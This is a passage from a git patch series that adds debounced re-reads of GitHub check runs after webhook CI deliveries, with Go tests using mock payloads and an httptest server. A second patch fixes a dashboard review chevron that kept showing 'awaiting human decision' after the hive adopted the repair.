or a re-read landed) so the dashboard can re-derive the row. +type CIEvidenceHook func(repo, head string) + +var ( + ciEvidenceHookMu sync.RWMutex + ciEvidenceHookFn CIEvidenceHook +) + +// SetCIEvidenceHook installs (or, with nil, removes) the process-wide hook. +func SetCIEvidenceHook(fn CIEvidenceHook) { + ciEvidenceHookMu.Lock() + ciEvidenceHookFn = fn + ciEvidenceHookMu.Unlock() +} + +func ciEvidenceHook() CIEvidenceHook { + ciEvidenceHookMu.RLock() + defer ciEvidenceHookMu.RUnlock() + return ciEvidenceHookFn +} + +// ciRefetchTarget is one head whose check runs are to be listed once. +type ciRefetchTarget struct { + repo string // as configured (the detail cache's key) + fullName string // owner/name from the payload + head string + number int + baseRef string +} + +// ciRefetchTimer is the one-shot debounce timer; tests hand-fire it. +type ciRefetchTimer interface{ Stop() bool } + +// ciRefetcher coalesces head re-reads: a check fan-out of twenty deliveries +// on a fresh head costs one listing, not twenty. +type ciRefetcher struct { + mu sync.Mutex + pending map[ciHeadKey]ciRefetchTarget + timer ciRefetchTimer + debounce time.Duration + newTimer func(d time.Duration, f func()) ciRefetchTimer + fetch func(ctx context.Context, t ciRefetchTarget) error + ctx func() context.Context + // flushes counts debounce windows that fired (tests). + flushes int +} + +const defaultCIRefetchDebounce = 2 * time.Second + +// webhookCIRefetchRESTCaller tags the check-run listings made on behalf of +// CI deliveries so /api/gh-rate-limits lists them on their own. +const webhookCIRefetchRESTCaller = "hive:webhook_ci_refetch" + +func (c *Client) ciRefetcher() *ciRefetcher { + c.ciRefetchOnce.Do(func() { + if c.ciRefetch == nil { + c.ciRefetch = &ciRefetcher{} + } + r := c.ciRefetch + if r.pending == nil { + r.pending = map[ciHeadKey]ciRefetchTarget{} + } + if r.debounce <= 0 { + r.debounce = defaultCIRefetchDebounce + } + if r.newTimer == nil { + r.newTimer = func(d time.Duration, f func()) ciRefetchTimer { return time.AfterFunc(d, f) } + } + if r.fetch == nil { + r.fetch = c.refetchHeadCI + } + if r.ctx == nil { + r.ctx = context.Background + } + }) + return c.ciRefetch +} + +// enqueue queues one head; a head already waiting keeps its slot (the PR +// number and base ref of the first delivery). It reports whether the head +// is now pending. +func (r *ciRefetcher) enqueue(t ciRefetchTarget) bool { + if r == nil || t.head == "" || t.number <= 0 { + return false + } + r.mu.Lock() + defer r.mu.Unlock() + key := ciEvidenceKey(t.fullName, t.head) + if cur, ok := r.pending[key]; ok { + if cur.baseRef == "" && t.baseRef != "" { + cur.baseRef = t.baseRef + r.pending[key] = cur + } + return true + } + r.pending[key] = t + if r.timer == nil { + r.timer = r.newTimer(r.debounce, r.flush) + } + return true +} + +func (r *ciRefetcher) pendingCount() int { + r.mu.Lock() + defer r.mu.Unlock() + return len(r.pending) +} + +// flush lists every pending head once. Heads enqueued while the listings +// run start a new window. +func (r *ciRefetcher) flush() { + r.mu.Lock() + targets := make([]ciRefetchTarget, 0, len(r.pending)) + for _, t := range r.pending { + targets = append(targets, t) + } + r.pending = map[ciHeadKey]ciRefetchTarget{} + r.timer = nil + r.flushes++ + fetch, ctxFn := r.fetch, r.ctx + r.mu.Unlock() + if fetch == nil { + return + } + ctx := context.Background() + if ctxFn != nil { + if c := ctxFn(); c != nil { + ctx = c + } + } + sort.Slice(targets, func(i, j int) bool { + if targets[i].fullName != targets[j].fullName { + return targets[i].fullName < targets[j].fullName + } + return targets[i].number < targets[j].number + }) + for _, t := range targets { + if ctx.Err() != nil { + return + } + _ = fetch(ctx, t) + } +} + +// refetchHeadCI lists the head's check runs once, resolves the base branch's +// required-check policy (one cached GraphQL query per repo@branch) and the +// commit statuses it needs, records the result as the head's listing and +// tells the hook. It refuses to spend when the REST budget is critical or +// GitHub is pacing the hive; the next eval cycle is then the backstop. +func (c *Client) refetchHeadCI(ctx context.Context, t ciRefetchTarget) error { + if c == nil { + return ErrNoGitHubClient + } + if mode, _ := c.APIBudgetMode(); mode == APIBudgetCritical { + return ErrAPIBudgetCritical + } + if RateLimitCautionEngaged() { + return ErrRateLimitCaution + } + owner, name := c.splitRepo(firstNonEmpty(t.fullName, t.repo)) + ctx = WithRESTCaller(ctx, webhookCIRefetchRESTCaller) + var all []*gh.CheckRun + options := &gh.ListCheckRunsOptions{ListOptions: gh.ListOptions{PerPage: 100}} + for { + runs, resp, err := c.client.Checks.ListCheckRunsForRef(ctx, owner, name, t.head, options) + if err != nil || runs == nil || runs.CheckRuns == nil { + c.logger.Warn("webhook CI refetch: failed to list check runs", "repo", owner+"/"+name, "pr", t.number, "head", t.head, "error", err) + if err == nil { + err = ErrNoGitHubClient + } + return err + } + all = append(all, runs.CheckRuns...) + if resp == nil || resp.NextPage == 0 { + break + } + options.Page = resp.NextPage + } + at := sharedWebhookTracker().now().UTC() + activity := prCIActivity(t.head, "github-check-runs", activityCheckRunsByNameAndApp(checkRunsOnHead(all, t.head)), &at) + if t.baseRef != "" { + pr := &PullRequest{Repo: owner + "/" + name, Number: t.number, HeadSHA: t.head, BaseRef: t.baseRef, CIActivity: activity} + newProtectionCollector(c).attachRequiredChecks(ctx, pr) + } + sharedCIEvidence().recordListed(owner+"/"+name, t.head, activity) + sharedWebhookTracker().recordCIRefetches(1) + if hook := ciEvidenceHook(); hook != nil { + hook(owner+"/"+name, t.head) + } + return nil +} + +// FlushWebhookCIRefetch runs any pending head re-reads now, synchronously, +// instead of waiting out the debounce. The governor calls it before a +// webhook-wake cycle; tests use it in place of a timer. +func (c *Client) FlushWebhookCIRefetch() { + if c == nil || c.ciRefetch == nil { + return + } + r := c.ciRefetcher() + r.mu.Lock() + if len(r.pending) == 0 { + r.mu.Unlock() + return + } + if r.timer != nil { + r.timer.Stop() + } + r.mu.Unlock() + r.flush() +} + +// RecordCIEvidenceForTest applies checks to repo's head as a delivery would, +// so tests outside this package can drive the tracker's merged read. +func RecordCIEvidenceForTest(repo, head string, checks []PRActivityCheck) int { + return sharedCIEvidence().applyEvent(repo, head, checks) +} + +// RecordCIListingForTest records a complete check-run listing for repo's +// head, as the enrich path or a webhook re-read would, so tests can exercise +// the payload-only delivery path that needs no re-read. +func RecordCIListingForTest(repo, head string, activity *PRCIActivity) { + sharedCIEvidence().recordListed(repo, head, activity) +} diff --git a/src/pkg/github/webhook_ci_evidence_test.go b/src/pkg/github/webhook_ci_evidence_test.go new file mode 100644 index 0000000000..acd2b946ee --- /dev/null +++ b/src/pkg/github/webhook_ci_evidence_test.go @@ -0,0 +1,298 @@ +package github + +import ( + "context" + "encoding/json" + "fmt" + "net/http" + "net/http/httptest" + "reflect" + "strings" + "testing" + "time" + + gh "github.com/google/go-github/v72/github" +) + +func ciTestCheckRunBody(number int, head, name, status, conclusion string, at time.Time) []byte { + completed := "null" + if status == "completed" { + completed = fmt.Sprintf("%q", at.Format(time.RFC3339)) + } + return []byte(fmt.Sprintf(`{"action":%q,"repository":{"full_name":"org/repo"},"check_run":{"id":%d,"node_id":"CR_%s_%d","head_sha":%q,"name":%q,"status":%q,"conclusion":%q,"details_url":"https://ci/%s","started_at":%q,"completed_at":%s,"pull_requests":[{"number":%d}],"app":{"id":15368,"name":"GitHub Actions"}}}`, + status, len(name)*100+number, name, len(name), head, name, status, conclusion, name, at.Add(-time.Minute).Format(time.RFC3339), completed, number)) +} + +type ciTestTimer struct{} + +func (t *ciTestTimer) Stop() bool { return true } + +// A check_run delivery is applied to the head's check set from the payload +// alone β€” no GitHub call β€” and the merged view the tracker reads counts it +// at once; the head's one coalesced re-read is queued because no listing +// has covered it yet. +func TestHandleWebhookEventCheckRunAppliesCIEvidenceFromPayload(t *testing.T) { + c, clock := setupWebhookCacheTest(t) + t.Cleanup(ResetCIEvidenceForTest(clock.Now)) + var fired func() + c.ciRefetch = &ciRefetcher{newTimer: func(_ time.Duration, f func()) ciRefetchTimer { fired = f; return &ciTestTimer{} }} + c.storePRDetail("repo", 7, testPRDetail(7, "sha-7", clock.now, "clean")) + + res, err := c.HandleWebhookEvent("check_run", ciTestCheckRunBody(7, "sha-7", "unit", "in_progress", "", clock.now)) + if err != nil { + t.Fatal(err) + } + if res.CIEvidence == nil || res.CIEvidence.Applied != 1 || !res.CIEvidence.Refetch || !reflect.DeepEqual(res.CIEvidence.PRs, []int{7}) || res.CIEvidence.HeadSHA != "sha-7" { + t.Fatalf("ci_evidence = %+v, want applied 1, refetch, PRs [7]", res.CIEvidence) + } + if fired == nil || c.ciRefetch.pendingCount() != 1 { + t.Fatalf("expected one pending head re-read, pending=%d timer armed=%v", c.ciRefetch.pendingCount(), fired != nil) + } + + clock.now = clock.now.Add(30 * time.Second) + if _, err := c.HandleWebhookEvent("check_run", ciTestCheckRunBody(7, "sha-7", "unit", "completed", "success", clock.now)); err != nil { + t.Fatal(err) + } + if _, err := c.HandleWebhookEvent("check_run", ciTestCheckRunBody(7, "sha-7", "lint", "completed", "failure", clock.now)); err != nil { + t.Fatal(err) + } + if c.ciRefetch.pendingCount() != 1 { + t.Fatalf("fan-out must coalesce to one pending head, got %d", c.ciRefetch.pendingCount()) + } + + got := HeadCIActivity("org/repo", "sha-7", nil) + if got == nil || got.Source != "github-webhook" || got.ObservedAt == nil || !got.ObservedAt.Equal(clock.now) { + t.Fatalf("merged activity = %+v, want webhook-sourced, observed at the last delivery", got) + } + want := map[string]string{"unit": "completed/success", "lint": "completed/failure"} + if len(got.Checks) != len(want) { + t.Fatalf("checks = %+v, want %v", got.Checks, want) + } + for _, check := range got.Checks { + if want[check.Name] != check.State+"/"+check.Conclusion { + t.Fatalf("check %s = %s/%s, want %s", check.Name, check.State, check.Conclusion, want[check.Name]) + } + if check.Head != "sha-7" || check.AppID == nil || *check.AppID != githubActionsAppID { + t.Fatalf("check %+v must carry the head and producing App", check) + } + } + // A bare configured name resolves to the same head. + if bare := HeadCIActivity("repo", "sha-7", nil); bare == nil || len(bare.Checks) != 2 { + t.Fatalf("bare repo lookup = %+v", bare) + } + // An out-of-order re-delivery of the older in_progress run must not + // roll the completed result back. + if _, err := c.HandleWebhookEvent("check_run", ciTestCheckRunBody(7, "sha-7", "unit", "in_progress", "", clock.now.Add(-time.Hour))); err != nil { + t.Fatal(err) + } + for _, check := range HeadCIActivity("org/repo", "sha-7", nil).Checks { + if check.Name == "unit" && check.Conclusion != "success" { + t.Fatalf("stale re-delivery rolled unit back: %+v", check) + } + } + health := WebhookHealthSnapshot() + if health.CIEvents1h != 4 || health.CIEventsApplied1h != 4 || health.LastCIEventAt == nil || health.CIRefetches1h != 0 { + t.Fatalf("webhook health CI block = %+v", health) + } +} + +// Delivered checks lay over the cycle's listing: a newer delivery replaces +// the listed run of the same check, the required set the listing resolved +// is kept, and a listing taken after the deliveries supersedes them. +func TestHeadCIActivityMergesDeliveriesOverListing(t *testing.T) { + clock := &webhookTestClock{now: time.Date(2026, 11, 3, 12, 0, 0, 0, time.UTC)} + t.Cleanup(ResetCIEvidenceForTest(clock.Now)) + t.Cleanup(resetWebhookTrackerForTest(clock.Now)) + listedAt := clock.now + appID := githubActionsAppID + listed := &PRCIActivity{Head: "sha-1", Source: "github-check-runs", ObservedAt: &listedAt, + RequiredKnown: true, Required: []string{"lint", "unit"}, RequiredSource: "protection", + RequiredChecks: []PRRequiredCheck{{Name: "lint", AppKnown: true, AppID: &appID}, {Name: "unit", AppKnown: true, AppID: &appID}}, + Checks: []PRActivityCheck{ + {Name: "lint", State: "completed", Conclusion: "success", NodeID: "CR_lint", AppID: &appID, Head: "sha-1"}, + {Name: "unit", State: "in_progress", NodeID: "CR_unit", AppID: &appID, Head: "sha-1"}, + }} + sharedCIEvidence().recordListed("org/repo", "sha-1", listed) + + // The tracker's base (the status snapshot's copy) is the same listing. + if got := HeadCIActivity("org/repo", "sha-1", listed); !reflect.DeepEqual(got, listed) { + t.Fatalf("no deliveries: merged = %+v, want the listing unchanged", got) + } + + clock.now = clock.now.Add(time.Minute) + done := clock.now + n := RecordCIEvidenceForTest("org/repo", "sha-1", []PRActivityCheck{{Name: "unit", State: "completed", Conclusion: "success", NodeID: "CR_unit", AppID: &appID, Since: &done}}) + if n != 1 { + t.Fatalf("applied = %d", n) + } + got := HeadCIActivity("org/repo", "sha-1", listed) + if got.Source != "github-check-runs+github-webhook" || !got.RequiredKnown || !reflect.DeepEqual(got.Required, []string{"lint", "unit"}) { + t.Fatalf("merged = %+v, want listing's required set with webhook source", got) + } + if len(got.Checks) != 2 { + t.Fatalf("checks = %+v, want unit replaced not appended", got.Checks) + } + for _, check := range got.Checks { + if check.Name == "unit" && (check.State != "completed" || check.Conclusion != "success") { + t.Fatalf("unit = %+v, want the delivered completion", check) + } + } + if len(listed.Checks) != 2 || listed.Checks[1].State != "in_progress" { + t.Fatalf("merge mutated the caller's base: %+v", listed.Checks) + } + if got.ObservedAt == nil || !got.ObservedAt.Equal(done) { + t.Fatalf("observed_at = %v, want the delivery time %v", got.ObservedAt, done) + } + + // A fresher listing (the next cycle) carries the delivered result + // itself; the stored deliveries are dropped and the listing wins. + clock.now = clock.now.Add(time.Minute) + relistedAt := clock.now + relisted := cloneCIActivity(listed) + relisted.ObservedAt = &relistedAt + relisted.Checks[1] = PRActivityCheck{Name: "unit", State: "completed", Conclusion: "failure", NodeID: "CR_unit", AppID: &appID, Head: "sha-1"} + sharedCIEvidence().recordListed("org/repo", "sha-1", relisted) + if got := HeadCIActivity("org/repo", "sha-1", nil); !strings.HasSuffix(got.Source, "github-check-runs") || got.Checks[1].Conclusion != "failure" { + t.Fatalf("after re-listing merged = %+v, want the listing alone", got) + } + // A stale base from the snapshot (older than the store's listing) does + // not win over it either. + if got := HeadCIActivity("org/repo", "sha-1", listed); got.Checks[1].Conclusion != "failure" { + t.Fatalf("older base won over the newer listing: %+v", got.Checks) + } + // Another head is untouched. + if got := HeadCIActivity("org/repo", "sha-2", nil); got != nil { + t.Fatalf("other head = %+v, want nil", got) + } +} + +// A `status` delivery becomes a commit_status observation (the legacy +// context side the required-check merge reads), and a `workflow_job` +// delivery is the Actions check run it describes. +func TestWebhookCIChecksStatusAndWorkflowJob(t *testing.T) { + c, clock := setupWebhookCacheTest(t) + t.Cleanup(ResetCIEvidenceForTest(clock.Now)) + c.ciRefetch = &ciRefetcher{newTimer: func(_ time.Duration, f func()) ciRefetchTimer { return &ciTestTimer{} }} + c.storePRDetail("repo", 3, testPRDetail(3, "sha-3", clock.now, "clean")) + + status := []byte(`{"id":91,"node_id":"SC_91","sha":"sha-3","state":"success","context":"dco","target_url":"https://dco/3","created_at":"2026-10-08T12:00:00Z","repository":{"full_name":"org/repo"}}`) + res, err := c.HandleWebhookEvent("status", status) + if err != nil || res.CIEvidence == nil || res.CIEvidence.Applied != 1 { + t.Fatalf("status delivery: res=%+v err=%v", res.CIEvidence, err) + } + job := []byte(`{"action":"completed","repository":{"full_name":"org/repo"},"workflow_job":{"id":501,"node_id":"WJ_501","head_sha":"sha-3","name":"gate","status":"completed","conclusion":"success","html_url":"https://gh/job/501","started_at":"2026-10-08T11:58:00Z","completed_at":"2026-10-08T12:00:00Z"}}`) + res, err = c.HandleWebhookEvent("workflow_job", job) + if err != nil || res.CIEvidence == nil || res.CIEvidence.Applied != 1 || !reflect.DeepEqual(res.Invalidated, []int{3}) { + t.Fatalf("workflow_job delivery: res=%+v invalidated=%v err=%v", res.CIEvidence, res.Invalidated, err) + } + got := HeadCIActivity("org/repo", "sha-3", nil) + if got == nil || len(got.Checks) != 2 { + t.Fatalf("merged = %+v", got) + } + byName := map[string]PRActivityCheck{} + for _, check := range got.Checks { + byName[check.Name] = check + } + if dco := byName["dco"]; dco.Kind != "commit_status" || dco.State != "completed" || dco.Conclusion != "success" || dco.NodeID != "SC_91" { + t.Fatalf("dco = %+v", dco) + } + if gate := byName["gate"]; gate.AppID == nil || *gate.AppID != githubActionsAppID || gate.Conclusion != "success" || gate.URL != "https://gh/job/501" { + t.Fatalf("gate = %+v", gate) + } + // check_suite carries no per-check result: nothing applied, head kept + // pending for its re-read, and a non-CI event reports no evidence. + suite := []byte(`{"action":"completed","repository":{"full_name":"org/repo"},"check_suite":{"head_sha":"sha-3","conclusion":"success","pull_requests":[{"number":3}],"app":{"name":"GitHub Actions"}}}`) + res, err = c.HandleWebhookEvent("check_suite", suite) + if err != nil || res.CIEvidence == nil || res.CIEvidence.Applied != 0 || !res.CIEvidence.Refetch { + t.Fatalf("check_suite delivery: res=%+v err=%v", res.CIEvidence, err) + } + pr := []byte(`{"action":"synchronize","number":3,"pull_request":{"number":3,"state":"open"},"repository":{"full_name":"org/repo"}}`) + if res, err := c.HandleWebhookEvent("pull_request", pr); err != nil || res.CIEvidence != nil { + t.Fatalf("pull_request delivery must carry no CI evidence: %+v err=%v", res.CIEvidence, err) + } +} + +// The coalesced re-read lists the head's check runs once for any number +// of deliveries, records the result as the head's listing (so later +// deliveries lay over it) and tells the hook; its REST caller tag is its +// own. Required checks are resolved only when the PR's base is known. +func TestWebhookCIRefetchListsHeadOnceAndRecordsListing(t *testing.T) { + clock := &webhookTestClock{now: time.Date(2026, 10, 8, 12, 0, 0, 0, time.UTC)} + t.Cleanup(resetPRDetailCacheForTest(clock.Now, 0)) + t.Cleanup(resetWebhookTrackerForTest(clock.Now)) + t.Cleanup(ResetCIEvidenceForTest(clock.Now)) + listings := 0 + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if r.URL.Path != "/repos/org/repo/commits/sha-9/check-runs" { + t.Errorf("unexpected GitHub call %s %s", r.Method, r.URL.Path) + w.WriteHeader(http.StatusInternalServerError) + return + } + listings++ + _ = json.NewEncoder(w).Encode(gh.ListCheckRunsResults{Total: gh.Ptr(2), CheckRuns: []*gh.CheckRun{ + {ID: gh.Ptr(int64(1)), NodeID: gh.Ptr("CR_1"), Name: gh.Ptr("unit"), Status: gh.Ptr("completed"), Conclusion: gh.Ptr("success"), HeadSHA: gh.Ptr("sha-9"), App: &gh.App{ID: gh.Ptr(githubActionsAppID)}}, + {ID: gh.Ptr(int64(2)), NodeID: gh.Ptr("CR_2"), Name: gh.Ptr("lint"), Status: gh.Ptr("in_progress"), HeadSHA: gh.Ptr("sha-9"), App: &gh.App{ID: gh.Ptr(githubActionsAppID)}}, + }}) + })) + t.Cleanup(srv.Close) + c := newTestClient(t, srv, "org", []string{"repo"}) + var fired func() + c.ciRefetch = &ciRefetcher{newTimer: func(_ time.Duration, f func()) ciRefetchTimer { fired = f; return &ciTestTimer{} }} + c.storePRDetail("repo", 9, testPRDetail(9, "sha-9", clock.now, "clean")) + var hooked []string + SetCIEvidenceHook(func(repo, head string) { hooked = append(hooked, repo+"@"+head) }) + t.Cleanup(func() { SetCIEvidenceHook(nil) }) + + suite := []byte(`{"action":"requested","repository":{"full_name":"org/repo"},"check_suite":{"head_sha":"sha-9","pull_requests":[{"number":9}],"app":{"name":"GitHub Actions"}}}`) + for i := 0; i < 3; i++ { + if _, err := c.HandleWebhookEvent("check_suite", suite); err != nil { + t.Fatal(err) + } + } + if c.ciRefetch.pendingCount() != 1 || fired == nil { + t.Fatalf("pending = %d, want 1 coalesced head", c.ciRefetch.pendingCount()) + } + fired() + if listings != 1 { + t.Fatalf("check-run listings = %d, want 1", listings) + } + if !sharedCIEvidence().hasListed("org/repo", "sha-9") || c.ciRefetch.pendingCount() != 0 { + t.Fatal("re-read did not record the head's listing") + } + if !reflect.DeepEqual(hooked, []string{"org/repo@sha-9"}) { + t.Fatalf("hook calls = %v", hooked) + } + got := HeadCIActivity("org/repo", "sha-9", nil) + if got == nil || got.Source != "github-check-runs" || len(got.Checks) != 2 || got.RequiredKnown { + t.Fatalf("listing = %+v, want two listed checks, required unknown without a base ref", got) + } + if WebhookHealthSnapshot().CIRefetches1h != 1 { + t.Fatalf("health = %+v, want one CI refetch", WebhookHealthSnapshot()) + } + // Now that a listing exists, a delivery lays over it without queuing + // another re-read. + clock.now = clock.now.Add(time.Minute) + res, err := c.HandleWebhookEvent("check_run", ciTestCheckRunBody(9, "sha-9", "lint", "completed", "success", clock.now)) + if err != nil || res.CIEvidence.Refetch || c.ciRefetch.pendingCount() != 0 { + t.Fatalf("listed head must not re-read: %+v pending=%d err=%v", res.CIEvidence, c.ciRefetch.pendingCount(), err) + } + for _, check := range HeadCIActivity("org/repo", "sha-9", nil).Checks { + if check.Name == "lint" && check.Conclusion != "success" { + t.Fatalf("lint = %+v, want delivered completion over the listing", check) + } + } + if !strings.Contains(hooked[len(hooked)-1], "sha-9") || len(hooked) != 2 { + t.Fatalf("hook calls = %v, want the applied delivery to notify too", hooked) + } + // A context already cancelled makes the flush a no-op rather than a call. + c.ciRefetch.ctx = func() context.Context { + ctx, cancel := context.WithCancel(context.Background()) + cancel() + return ctx + } + c.ciRefetch.enqueue(ciRefetchTarget{repo: "repo", fullName: "org/repo", head: "sha-9", number: 9}) + c.FlushWebhookCIRefetch() + if listings != 1 { + t.Fatalf("cancelled context still listed: %d", listings) + } +} diff --git a/src/pkg/hub/webhook.go b/src/pkg/hub/webhook.go index 4612a42e42..b6dbe65dbd 100644 --- a/src/pkg/hub/webhook.go +++ b/src/pkg/hub/webhook.go @@ -95,7 +95,7 @@ func (s *HubServer) handleGitHubWebhook(w http.ResponseWriter, r *http.Request) switch event { case "installation", "installation_repositories": s.handleInstallationEvent(body) - case "pull_request", "pull_request_review", "pull_request_review_comment", "check_suite", "check_run", "status", "issue_comment", "issues", "push": + case "pull_request", "pull_request_review", "pull_request_review_comment", "check_suite", "check_run", "workflow_run", "workflow_job", "status", "issue_comment", "issues", "push": s.relayWebhookToSpoke(event, r.Header, body) default: s.logger.Debug("ignoring webhook event", "event", event) From 218785a513f00f93e9a1addce7d9010c0b43dd71 Mon Sep 17 00:00:00 2001 From: Andy Anderson <andy@clubanderson.com> Date: Tue, 3 Nov 2026 22:56:35 -0500 Subject: [PATCH 38/87] =?UTF-8?q?=F0=9F=90=9B=20Review=20chevron:=20done-s?= =?UTF-8?q?tyle=20once=20perspectives=20finish,=20verdict=20word=20when=20?= =?UTF-8?q?adopted=20(#16532)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A complete review verdict (5/5) parked on a human decision wore the amber in-progress fill and kept saying "awaiting human decision" even after the hive adopted the PR back into PR in progress. - JS: a settled human_decision track is done-style + muted (.decided); amber only while perspectives are running (a.active). CI unchanged: passed is done. - JS/Go: with the hive on the repair (074 adopted, 07x fix stages, no needs-human/hold/085) a human_decision verdict reads "changes requested"; the decision question and provenance ride in detail/source. - Tests: Go per-stage table, node shapes (adopted / parked / approved / both-running #16494), rows fixture; prelude now lifts stageTrackerTrackWord. Fixes #16531 Signed-off-by: Andrew Anderson <andy@clubanderson.com> --- changelog.d/fixed-review-chevron-amber.md | 1 + .../dashboard/stage_tracker_activity.test.js | 4 +- src/pkg/dashboard/stage_tracker_build.go | 2 +- .../dashboard/stage_tracker_remediation.go | 36 ++++++++++++++++ .../stage_tracker_remediation_chevron.test.js | 41 ++++++++++++++++++- .../stage_tracker_remediation_test.go | 40 ++++++++++++++++++ .../stage_tracker_ui_prelude_test.go | 2 + .../dashboard/stage_tracker_ui_rows_test.go | 20 +++++++++ src/pkg/dashboard/static-src/css/tracker.css | 1 + .../static-src/js/tracker-row-strip.js | 16 +++++++- src/pkg/dashboard/static/index.html | 17 +++++++- 11 files changed, 172 insertions(+), 8 deletions(-) create mode 100644 changelog.d/fixed-review-chevron-amber.md diff --git a/changelog.d/fixed-review-chevron-amber.md b/changelog.d/fixed-review-chevron-amber.md new file mode 100644 index 0000000000..75c4d93c0c --- /dev/null +++ b/changelog.d/fixed-review-chevron-amber.md @@ -0,0 +1 @@ +- Activity Monitor: the Review and CI chevrons wear the amber in-progress fill only while perspectives or checks are actually running; a finished verdict is done-style (approved, changes requested, or a muted "awaiting human decision"). Back in PR in progress with the hive on the repair, a human-decision verdict reads "changes requested" instead of "awaiting human decision" (#16531). diff --git a/src/pkg/dashboard/stage_tracker_activity.test.js b/src/pkg/dashboard/stage_tracker_activity.test.js index c58b6bbbd9..33a005507f 100644 --- a/src/pkg/dashboard/stage_tracker_activity.test.js +++ b/src/pkg/dashboard/stage_tracker_activity.test.js @@ -22,7 +22,7 @@ const STAGE_TRACKER_NEEDS_DECISION = 85, STAGE_TRACKER_ISSUE_NEEDS_DECISION = 45 const STAGE_TRACKER_ISSUE_DECISION_COLUMN = 10, STAGE_TRACKER_TRIAGE_NEEDED = 15, STAGE_TRACKER_POSSIBLY_EXISTS = 17; const STAGE_TRACKER_PRE_MERGE_SOAK = 95; `; -const track = new Function('esc', 'stageTrackerIcon', fn(strip, 'stageTrackerTrackLead') + fn(strip, 'stageTrackerTrackWord') + fn(strip, 'stageTrackerActivityTrackHtml') + ';return stageTrackerActivityTrackHtml;')(esc, (n, cls) => `<svg class="${cls}" data-icon="${n}"></svg>`); +const track = new Function('esc', 'stageTrackerIcon', fn(strip, 'stageTrackerTrackLead') + fn(strip, 'stageTrackerHiveOwnsRepair') + fn(strip, 'stageTrackerTrackWord') + fn(strip, 'stageTrackerActivityTrackHtml') + ';return stageTrackerActivityTrackHtml;')(esc, (n, cls) => `<svg class="${cls}" data-icon="${n}"></svg>`); const getAnchor = new Function(globals + anchor + ';return stageTrackerAnchor;')(); const header = new Function('esc', 'stageTrackerIcon', globals + fn(strip, 'stageTrackerHeaderHtml') + ';return stageTrackerHeaderHtml;')(esc, () => ''); const now = Date.parse('2026-11-02T21:00:00Z'); @@ -716,7 +716,7 @@ test('the backend detail sentence rides in the track tooltip, not on the chevron }); test('#16484: count grammar β€” CI passed/total and Review done/total across every state', () => { - const word = new Function(fn(strip, 'stageTrackerTrackWord') + ';return stageTrackerTrackWord;')(); + const word = new Function(fn(strip, 'stageTrackerHiveOwnsRepair') + fn(strip, 'stageTrackerTrackWord') + ';return stageTrackerTrackWord;')(); const ci = (state, extra = {}) => word({ head: 'h', ci_activity: { head: 'h', state, ...extra } }, 'ci', true); assert.equal(ci('passing', { checks_passed: 14, checks_total: 14 }), 'CI 14/14 passed'); assert.equal(ci('failing', { checks_passed: 11, checks_total: 14, checks_failed: 1, checks_failing: ['lint'] }), 'CI 11/14 Β· 1 failing (lint)'); diff --git a/src/pkg/dashboard/stage_tracker_build.go b/src/pkg/dashboard/stage_tracker_build.go index 015c48fad7..e1a9fc0e7c 100644 --- a/src/pkg/dashboard/stage_tracker_build.go +++ b/src/pkg/dashboard/stage_tracker_build.go @@ -552,7 +552,7 @@ func (s *Server) buildStageTracker(status *StatusPayload, store *stagelabels.Sto activityItem.CIActivity, activityItem.ReviewActivity = it.CIActivity, it.ReviewActivity stageTrackerApplyCodeActivity(&activityItem, dispatchState, status, now) stageTrackerApplyRemediation(&activityItem, dispatchState, status, stageTrackerFixerAgent(cfg), now) - it.CodeActivity, it.Remediation, it.DisplayColumn, it.Caption = activityItem.CodeActivity, activityItem.Remediation, activityItem.DisplayColumn, activityItem.Caption + it.CodeActivity, it.Remediation, it.ReviewActivity, it.DisplayColumn, it.Caption = activityItem.CodeActivity, activityItem.Remediation, activityItem.ReviewActivity, activityItem.DisplayColumn, activityItem.Caption } resp.NeedsHuman, resp.OnHold = stageTrackerHumanCounts(resp.Items) resp.WaitingOnHuman = stageTrackerWaitingOnHuman(resp.Items) diff --git a/src/pkg/dashboard/stage_tracker_remediation.go b/src/pkg/dashboard/stage_tracker_remediation.go index 2bcbd3fcb3..3aa21534e6 100644 --- a/src/pkg/dashboard/stage_tracker_remediation.go +++ b/src/pkg/dashboard/stage_tracker_remediation.go @@ -261,6 +261,7 @@ func stageTrackerApplyRemediation(it *StageTrackerItem, dispatch review.Dispatch if it.Kind != "pr" || it.Head == "" || it.Superseded != nil || it.Stage == trackerNumberNeedsDecision || it.Stage >= trackerNumberAwaitingMerge { return } + stageTrackerAdoptHumanDecision(it) redSince, redWord, red := stageTrackerRedSince(it) if !red { return @@ -284,6 +285,10 @@ func stageTrackerApplyRemediation(it *StageTrackerItem, dispatch review.Dispatch if out.State == "waiting_ci" && out.Source == "recorded-ci-retry" { return } + // 074: the hive adopted the repair; the stage word stands. + if out.State == "adopted" { + return + } redAt := "" if !redSince.IsZero() { redAt = " at " + redSince.UTC().Format(time.RFC3339) @@ -343,3 +348,34 @@ func stageTrackerApplyRemediation(it *StageTrackerItem, dispatch review.Dispatch it.Caption = out.Caption } } + +// stageTrackerAdoptHumanDecision: a review verdict that asked for a human +// decision stops reading "awaiting human decision" once the row is back in +// PR in progress with the hive on it β€” adopted (074) or in a fix stage β€” +// and nobody is actually parked on a person. The findings are then changes +// the hive is addressing; the decision question rides in the detail. +func stageTrackerAdoptHumanDecision(it *StageTrackerItem) { + a := it.ReviewActivity + if a == nil || a.State != "human_decision" || !strings.EqualFold(a.Head, it.Head) { + return + } + if it.NeedsHuman || it.OnHold || it.Hold != nil || it.Stage == trackerNumberNeedsDecision { + return + } + switch it.Stage { + case trackerNumberAdopted, trackerNumberFixing, trackerNumberNeedsAuthor, trackerNumberReturned: + default: + return + } + who := "the hive adopted the repair" + if it.Stage != trackerNumberAdopted { + who = "the row is under repair" + } + a.State, a.Caption, a.Active = "changes_requested", "Review findings Β· changes requested", false + a.Source += "+adopted-decision" + detail := "The review swarm asked for a human decision; " + who + ", so its findings are the changes to make." + if a.Blocker != "" { + detail += " Question: " + a.Blocker + } + a.Detail = strings.TrimSpace(detail + " " + a.Detail) +} diff --git a/src/pkg/dashboard/stage_tracker_remediation_chevron.test.js b/src/pkg/dashboard/stage_tracker_remediation_chevron.test.js index ca3ddcb8a7..e1cb24e5c9 100644 --- a/src/pkg/dashboard/stage_tracker_remediation_chevron.test.js +++ b/src/pkg/dashboard/stage_tracker_remediation_chevron.test.js @@ -27,7 +27,7 @@ const STAGE_TRACKER_NEEDS_DECISION = 85, 